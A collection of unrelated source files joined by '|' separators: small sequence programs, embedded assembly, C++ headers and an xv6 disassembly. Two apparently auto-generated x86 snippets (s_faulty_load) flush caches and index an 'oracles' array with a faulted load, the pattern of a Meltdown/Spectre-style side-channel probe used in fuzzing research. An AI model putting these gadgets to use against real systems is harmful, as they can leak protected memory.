div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
mov $0,$2
mod $0,10
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xde41, %rbx
add %r8, %r8
vmovups (%rbx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdi
nop
nop
inc %rsi
lea addresses_WC_ht+0x12627, %rsi
lea addresses_WT_ht+0x1d341, %rdi
nop
sub %r15, %r15
mov $18, %rcx
rep movsb
nop
nop
and $49175, %rsi
lea addresses_normal_ht+0x5181, %r15
clflush (%r15)
nop
and $4622, %r14
and $0xffffffffffffffc0, %r15
vmovaps (%r15), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
nop
nop
cmp %r14, %r14
lea addresses_UC_ht+0x11c01, %rbx
nop
nop
nop
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r15
movq %r15, (%rbx)
and %rcx, %rcx
lea addresses_WT_ht+0x13e89, %rdi
clflush (%rdi)
nop
nop
inc %rcx
movw $0x6162, (%rdi)
dec %rbx
lea addresses_normal_ht+0x4f89, %rsi
lea addresses_WT_ht+0xd941, %rdi
inc %r14
mov $71, %rcx
rep movsl
nop
nop
nop
nop
nop
add $7975, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rbp
push %rsi
// Faulty Load
lea addresses_PSE+0xe341, %r9
nop
nop
add %r11, %r11
mov (%r9), %r12w
lea oracles, %r15
and $0xff, %r12
shlq $12, %r12
mov (%r15,%r12,1), %r12
pop %rsi
pop %rbp
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
/*
* Copyright 2019 Xilinx Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef DEEPHI_ANCHORBASE_HPP_
#define DEEPHI_ANCHORBASE_HPP_
#include <memory>
#include <utility>
#include <vector>
namespace vitis {
namespace ai {
namespace dptfssd {
using namespace std;
using VF = std::vector<float>;
using VVF = std::vector<VF>;
using VVVF = std::vector<VVF>;
using VVVVF = std::vector<VVVF>;
class AnchorBase {
public:
AnchorBase(int num_layers, int image_width, int image_height);
const std::vector<std::shared_ptr<std::vector<float>>>& priors() const {
return priors_;
}
protected:
std::vector<std::shared_ptr<std::vector<float>>> priors_;
int num_layers_;
int image_width_;
int image_height_;
void tile_anchors(float grid_height, float grid_width, VF& _scales,
VF& _aspect_ratios,
std::tuple<float, float> base_anchor_size,
std::tuple<float, float> anchor_strides,
std::tuple<float, float> anchor_offsets);
};
/*
* below part is helper function ....
*/
void mywritefile(float* conf, int size1, std::string filename);
std::tuple<VVF, VVF> meshgrid(const VF& v1, const VF& v2);
std::tuple<VVVF, VVVF> meshgrid(const VF& v1, const VVF& vv2);
VVVVF tfstack3(const VVVF& vvv1, const VVVF& vvv2);
VF tfreshape(const VVF& vv1);
VVF tfreshape(const VVVVF& vvvv1);
void tfconcat_decode(const VVF& vv1_center, const VVF& vv2_size,
std::vector<std::shared_ptr<std::vector<float>>>& priors_);
void printv(std::string info, const VF& inv);
void printv(std::string info, const VVF& inv);
void printv(std::string info, const VVVF& inv);
void printv(std::string info, const VVVVF& inv);
} // namespace dptfssd
} // namespace ai
} // namespace vitis
#endif
|
; A040094: Continued fraction for sqrt(105).
; 10,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4,20,4
sub $0,1
mod $0,2
mul $0,10
add $0,2
pow $0,2
div $0,17
mul $0,2
add $0,4
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x6e16, %rcx
nop
nop
add $2304, %r10
mov (%rcx), %ebp
nop
nop
nop
nop
sub $55610, %rsi
lea addresses_WC_ht+0x8ca6, %rsi
lea addresses_WT_ht+0xd026, %rdi
clflush (%rdi)
nop
nop
nop
cmp $28486, %r11
mov $7, %rcx
rep movsw
nop
nop
nop
nop
dec %rbp
lea addresses_WT_ht+0x15fa6, %rcx
nop
nop
nop
sub $21631, %r12
mov (%rcx), %rbp
nop
nop
inc %r11
lea addresses_D_ht+0xf0e6, %rsi
lea addresses_WC_ht+0x100a6, %rdi
nop
nop
and $12036, %r13
mov $4, %rcx
rep movsl
and $16096, %r10
lea addresses_WC_ht+0x14526, %rbp
nop
nop
add %r13, %r13
and $0xffffffffffffffc0, %rbp
vmovaps (%rbp), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rdi
nop
nop
inc %r11
lea addresses_normal_ht+0x1aca6, %r10
nop
nop
and $5587, %rbp
movups (%r10), %xmm5
vpextrq $1, %xmm5, %rcx
nop
cmp $39326, %r10
lea addresses_WT_ht+0x44c2, %rbp
nop
nop
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %rsi
movq %rsi, (%rbp)
nop
nop
cmp %r12, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rax
push %rcx
push %rdi
push %rdx
// Store
lea addresses_RW+0x1edee, %rdi
nop
nop
nop
and %r12, %r12
movl $0x51525354, (%rdi)
nop
add $53484, %r13
// Load
mov $0xcda, %r13
nop
nop
and $56868, %rax
vmovups (%r13), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %rcx
nop
nop
nop
nop
and %rax, %rax
// Faulty Load
lea addresses_US+0xf0a6, %r15
nop
nop
nop
add %rdx, %rdx
vmovups (%r15), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %rax
lea oracles, %r15
and $0xff, %rax
shlq $12, %rax
mov (%r15,%rax,1), %rax
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_US', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_RW', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_P', 'congruent': 1}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_US', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 4}}
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 5}}
{'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 10}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 1}, 'OP': 'STOR'}
{'48': 9917, '08': 11, '72': 36, 'a0': 6473, '00': 5392}
00 a0 48 a0 a0 a0 48 48 48 48 a0 48 48 a0 48 48 48 48 00 48 00 48 48 72 48 00 00 00 48 48 48 00 a0 48 a0 a0 48 00 48 48 a0 48 48 48 00 a0 a0 48 a0 48 00 48 00 00 00 48 48 48 48 48 48 a0 00 00 00 00 a0 a0 48 00 00 a0 00 00 00 48 48 00 00 48 48 48 48 00 48 00 a0 a0 00 a0 a0 a0 a0 48 00 48 00 a0 48 72 a0 48 48 a0 48 48 48 48 00 48 48 00 00 00 48 a0 00 a0 a0 48 a0 a0 00 a0 00 48 48 48 48 48 48 a0 48 48 a0 a0 00 48 48 48 48 00 48 00 00 48 00 a0 00 00 a0 00 a0 00 00 a0 00 a0 00 a0 48 48 00 48 00 00 00 48 00 48 a0 a0 a0 00 00 48 a0 48 48 00 48 48 a0 a0 a0 48 00 48 48 a0 48 48 48 00 48 48 48 a0 a0 00 00 48 a0 48 a0 48 a0 a0 00 00 00 48 48 a0 a0 a0 48 a0 48 48 00 48 a0 48 48 00 48 00 48 a0 48 48 a0 a0 a0 48 a0 48 a0 48 48 48 48 48 48 a0 48 48 48 48 48 a0 48 a0 a0 00 00 a0 a0 48 a0 a0 48 00 48 a0 a0 a0 a0 48 00 00 48 a0 a0 a0 48 48 a0 00 a0 48 00 a0 a0 00 48 48 a0 a0 a0 a0 a0 48 a0 a0 a0 00 48 48 00 00 a0 00 48 48 00 48 48 48 48 48 a0 48 a0 00 00 48 00 72 a0 a0 48 48 00 48 00 00 48 00 48 a0 00 48 00 a0 a0 48 48 48 48 48 00 48 00 a0 48 a0 48 00 a0 a0 48 00 a0 48 48 a0 48 48 48 a0 48 a0 48 00 00 48 00 48 a0 a0 48 a0 48 00 a0 a0 48 a0 a0 00 00 00 48 00 48 00 a0 a0 48 48 48 72 00 48 a0 a0 48 a0 a0 48 48 48 a0 a0 a0 48 48 00 00 48 00 00 48 00 00 a0 00 00 a0 00 00 00 a0 48 00 48 a0 48 48 48 48 48 a0 00 00 48 48 00 a0 00 48 00 00 00 a0 a0 a0 00 48 a0 48 a0 48 48 a0 48 48 a0 48 00 48 00 00 48 48 00 00 a0 48 48 48 00 a0 48 48 a0 00 00 00 a0 00 00 00 48 48 48 48 48 48 48 48 a0 a0 a0 a0 48 a0 a0 48 48 48 48 a0 48 a0 00 48 48 a0 00 a0 a0 48 48 48 00 00 00 a0 48 48 48 00 a0 48 a0 00 00 00 48 a0 a0 a0 48 48 00 00 00 a0 00 a0 48 a0 a0 00 00 00 48 a0 a0 00 a0 48 48 48 00 a0 48 48 00 48 48 48 48 48 48 48 a0 a0 48 00 00 a0 a0 48 00 00 00 48 48 a0 00 00 00 48 a0 00 48 48 48 48 00 00 48 a0 48 00 48 a0 48 00 00 00 00 48 a0 00 48 48 a0 00 00 a0 48 00 48 a0 a0 48 00 48 a0 48 00 48 48 00 48 48 a0 00 a0 a0 48 48 48 48 a0 a0 48 00 00 00 00 48 48 00 a0 00 48 a0 48 a0 00 48 a0 00 a0 a0 a0 48 48 48 48 a0 48 48 a0 48 a0 a0 48 a0 48 48 a0 00 48 48 48 a0 a0 a0 48 48 48 08 a0 00 48 a0 00 00 00 00 48 a0 a0 a0 48 a0 48 48 48 48 a0 a0 48 48 48 48 a0 a0 48 48 48 a0 a0 48 48 a0 a0 48 48 a0 a0 a0 00 48 48 48 48 48 48 48 48 48 48 48 a0 00 a0 48 a0 48 a0 00 a0 a0 00 48 a0 a0 a0 48 48 a0 48 a0 48 a0 a0 a0 72 a0 a0 00 a0 00 a0 48 48 a0 48 48 a0 48 48 00 48 48 00 48 a0 a0 00 00 48 00 48 a0 a0 48 a0 48 a0 00 48 a0 a0 a0 48 a0 48 48 48 a0 48 48 a0 48 00 48 48 48 48 a0 00 48 00 48 a0 a0 48 48 00 48 48 a0 48 a0 48 72 48 a0 00 00 48 a0 a0 a0 48 00 48 a0 48 48 a0 48 a0 48 48 48 48 00 00 48 48 a0 a0 48 48 48 a0 48 a0 48 48 48 48 a0 a0 48 a0 48 00 48 48 00 a0 00 a0 a0 48 48 a0 a0 00 48 48 48 00 48 48 a0 a0 48 00 48 48 48 a0 48 48 48 a0 00 00 48 a0 48 00 48 48 00 a0 48 00 00 00 a0 00 a0 00 48 48 48 48 00 48 48 48 00 48 48 a0 48 a0 a0 48 48 a0 00 48 48 a0 48 a0 a0 a0 48 48 00 00 48 00 48 00 48 a0 a0 48 00 a0 00 00 a0 00 48 48 48 00 48 00 48 a0 00 00 48 a0 00 a0 a0 00 00 48 48 48 00 48 a0 48 a0 48 00 48 48 a0
*/
|
; --- Piano2.asm ----
; When you press button RB0..RB3, you play a note
; on RC0:
; RB0: 261 Hz (C4)
; RB1: 293 Hz (D4)
; RB2: 329 Hz (E4)
; RB3: 349 Hz (F4)
#include <p18f4620.inc>
; Variables
CNT0 EQU 1
CNT1 EQU 2
; Program
org 0x800
call Init
Loop:
movf PORTB,F ; if any button is pressed
btfss STATUS,Z
call Toggle ; Drive a speaker on RC0
btfsc PORTB,0
call Wait_C4
btfsc PORTB,1
call Wait_D4
btfsc PORTB,2
call Wait_E4
btfsc PORTB,3
call Wait_F4
goto Loop
; --- Subroutines ---
Init:
clrf TRISA ;PORTA is output
movlw 0xFF
movwf TRISB ;PORTB is input
clrf TRISC ;PORTC is output
clrf TRISD ;PORTD is output
clrf TRISE ;PORTE is output
movlw 15
movwf ADCON1 ;everyone is binary
clrf PORTD
clrf PORTC
clrf PORTB
clrf PORTA
return
Toggle:
btg PORTC,0
return
Wait_C4: ; Wait 19,157 clocks
movlw 8
movwf CNT1
Loop1c:
movlw 239
movwf CNT0
Loop0c:
nop
nop
nop
nop
nop
nop
nop
decfsz CNT0,F
goto Loop0c
decfsz CNT1,F
goto Loop1c
return
Wait_D4: ; Wait 17,064 clocks
movlw 7
movwf CNT1
Loop1d:
movlw 243
movwf CNT0
Loop0d:
nop
nop
nop
nop
nop
nop
nop
decfsz CNT0,F
goto Loop0d
decfsz CNT1,F
goto Loop1d
return
Wait_E4: ; Wait 15,197 clocks
movlw 6
movwf CNT1
Loop1e:
movlw 253
movwf CNT0
Loop0e:
nop
nop
nop
nop
nop
nop
nop
decfsz CNT0,F
goto Loop0e
decfsz CNT1,F
goto Loop1e
return
Wait_F4: ; Wait 14,326 clocks
movlw 6
movwf CNT1
Loop1f:
movlw 239
movwf CNT0
Loop0f:
nop
nop
nop
nop
nop
nop
nop
decfsz CNT0,F
goto Loop0f
decfsz CNT1,F
goto Loop1f
return
end |
;
; Z88 Small C+ Run Time Library
; Long support functions
;
; 25/2/99 djm
; Rewritten to use subtraction and use carry at end to figure
; out which one was larger
;
; Entry: primary = (under two return addresses on stack)
; secondary= dehl
;
; Exit: z = numbers the same
; nz = numbers different
; c/nc = sign of difference [set if secondary > primary
;
; hl = 1
SECTION code_clib
SECTION code_l_sccz80
PUBLIC l_long_ucmp
l_long_ucmp:
; computes (primary - secondary)
;
; dehl = secondary
; stack = primary, return address 1, return address 2
pop bc ; bc = return address 2
exx
pop bc ; bc = return address 1
pop hl
pop de ; dehl = primary
push bc ; save return address 1
ld a,l
exx
push bc ; save return address 2
sub l
ld l,a
exx
ld a,h
exx
sbc a,h
ld h,a
exx
ld a,e
exx
sbc a,e
ld e,a
exx
ld a,d
exx
sbc a,d
ld d,a
; dehl = result, a = d
jp C, negative
positive:
ld a,d
or e
or h
or l
negative:
ld hl,1
ret
|
// Copyright (c) 2010-2015 niXman (i dot nixman dog gmail dot com). All
// rights reserved.
//
// This file is part of YAS(https://github.com/niXman/yas) project.
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
//
//
// Boost Software License - Version 1.0 - August 17th, 2003
//
// Permission is hereby granted, free of charge, to any person or organization
// obtaining a copy of the software and accompanying documentation covered by
// this license (the "Software") to use, reproduce, display, distribute,
// execute, and transmit the Software, and to prepare derivative works of the
// Software, and to permit third-parties to whom the Software is furnished to
// do so, all subject to the following:
//
// The copyright notices in the Software and this entire statement, including
// the above license grant, this restriction and the following disclaimer,
// must be included in all copies of the Software, in whole or in part, and
// all derivative works of the Software, unless such copies or derivative
// works are solely in the form of machine-executable object code generated by
// a source language processor.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT. IN NO EVENT
// SHALL THE COPYRIGHT HOLDERS OR ANYONE DISTRIBUTING THE SOFTWARE BE LIABLE
// FOR ANY DAMAGES OR OTHER LIABILITY, WHETHER IN CONTRACT, TORT OR OTHERWISE,
// ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
// DEALINGS IN THE SOFTWARE.
#ifndef _yas__binary__boost_cont_deque_serializer_hpp
#define _yas__binary__boost_cont_deque_serializer_hpp
#include <yas/detail/type_traits/type_traits.hpp>
#include <yas/detail/type_traits/selector.hpp>
#include <yas/detail/io/serialization_exception.hpp>
#include <boost/container/deque.hpp>
namespace yas {
namespace detail {
/***************************************************************************/
template<typename V>
struct serializer<
type_prop::not_a_pod,
ser_method::use_internal_serializer,
archive_type::binary,
direction::out,
boost::container::deque<V>
> {
template<typename Archive>
static Archive& apply(Archive& ar, const boost::container::deque<V> &deque) {
ar.write((std::uint32_t)deque.size());
for ( const auto &it: deque ) {
ar & it;
}
return ar;
}
};
template<typename V>
struct serializer<
type_prop::not_a_pod,
ser_method::use_internal_serializer,
archive_type::binary,
direction::in,
boost::container::deque<V>
> {
template<typename Archive>
static Archive& apply(Archive& ar, boost::container::deque<V> &deque) {
std::uint32_t size = 0;
ar.read(size);
for ( ; size; --size ) {
V val = V();
ar & val;
deque.push_back(std::move(val));
}
return ar;
}
};
/***************************************************************************/
} // namespace detail
} // namespace yas
#endif // _yas__binary__boost_cont_deque_serializer_hpp
|
_mkdir: formato del fichero elf32-i386
Desensamblado de la sección .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: bf 01 00 00 00 mov $0x1,%edi
16: 83 ec 08 sub $0x8,%esp
19: 8b 31 mov (%ecx),%esi
1b: 8b 59 04 mov 0x4(%ecx),%ebx
1e: 83 c3 04 add $0x4,%ebx
int i;
if(argc < 2){
21: 83 fe 01 cmp $0x1,%esi
24: 7e 3e jle 64 <main+0x64>
26: 8d 76 00 lea 0x0(%esi),%esi
29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "Usage: mkdir files...\n");
exit();
}
for(i = 1; i < argc; i++){
if(mkdir(argv[i]) < 0){
30: 83 ec 0c sub $0xc,%esp
33: ff 33 pushl (%ebx)
35: e8 00 03 00 00 call 33a <mkdir>
3a: 83 c4 10 add $0x10,%esp
3d: 85 c0 test %eax,%eax
3f: 78 0f js 50 <main+0x50>
for(i = 1; i < argc; i++){
41: 83 c7 01 add $0x1,%edi
44: 83 c3 04 add $0x4,%ebx
47: 39 fe cmp %edi,%esi
49: 75 e5 jne 30 <main+0x30>
printf(2, "mkdir: %s failed to create\n", argv[i]);
break;
}
}
exit();
4b: e8 82 02 00 00 call 2d2 <exit>
printf(2, "mkdir: %s failed to create\n", argv[i]);
50: 50 push %eax
51: ff 33 pushl (%ebx)
53: 68 9f 07 00 00 push $0x79f
58: 6a 02 push $0x2
5a: e8 d1 03 00 00 call 430 <printf>
break;
5f: 83 c4 10 add $0x10,%esp
62: eb e7 jmp 4b <main+0x4b>
printf(2, "Usage: mkdir files...\n");
64: 52 push %edx
65: 52 push %edx
66: 68 88 07 00 00 push $0x788
6b: 6a 02 push $0x2
6d: e8 be 03 00 00 call 430 <printf>
exit();
72: e8 5b 02 00 00 call 2d2 <exit>
77: 66 90 xchg %ax,%ax
79: 66 90 xchg %ax,%ax
7b: 66 90 xchg %ax,%ax
7d: 66 90 xchg %ax,%ax
7f: 90 nop
00000080 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 53 push %ebx
84: 8b 45 08 mov 0x8(%ebp),%eax
87: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
8a: 89 c2 mov %eax,%edx
8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
90: 83 c1 01 add $0x1,%ecx
93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
97: 83 c2 01 add $0x1,%edx
9a: 84 db test %bl,%bl
9c: 88 5a ff mov %bl,-0x1(%edx)
9f: 75 ef jne 90 <strcpy+0x10>
;
return os;
}
a1: 5b pop %ebx
a2: 5d pop %ebp
a3: c3 ret
a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000b0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 53 push %ebx
b4: 8b 55 08 mov 0x8(%ebp),%edx
b7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
ba: 0f b6 02 movzbl (%edx),%eax
bd: 0f b6 19 movzbl (%ecx),%ebx
c0: 84 c0 test %al,%al
c2: 75 1c jne e0 <strcmp+0x30>
c4: eb 2a jmp f0 <strcmp+0x40>
c6: 8d 76 00 lea 0x0(%esi),%esi
c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
d0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
d3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
d6: 83 c1 01 add $0x1,%ecx
d9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
dc: 84 c0 test %al,%al
de: 74 10 je f0 <strcmp+0x40>
e0: 38 d8 cmp %bl,%al
e2: 74 ec je d0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
e4: 29 d8 sub %ebx,%eax
}
e6: 5b pop %ebx
e7: 5d pop %ebp
e8: c3 ret
e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
f0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
f2: 29 d8 sub %ebx,%eax
}
f4: 5b pop %ebx
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strlen>:
uint
strlen(char *s)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
106: 80 39 00 cmpb $0x0,(%ecx)
109: 74 15 je 120 <strlen+0x20>
10b: 31 d2 xor %edx,%edx
10d: 8d 76 00 lea 0x0(%esi),%esi
110: 83 c2 01 add $0x1,%edx
113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
117: 89 d0 mov %edx,%eax
119: 75 f5 jne 110 <strlen+0x10>
;
return n;
}
11b: 5d pop %ebp
11c: c3 ret
11d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
120: 31 c0 xor %eax,%eax
}
122: 5d pop %ebp
123: c3 ret
124: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
12a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000130 <memset>:
void*
memset(void *dst, int c, uint n)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 57 push %edi
134: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
137: 8b 4d 10 mov 0x10(%ebp),%ecx
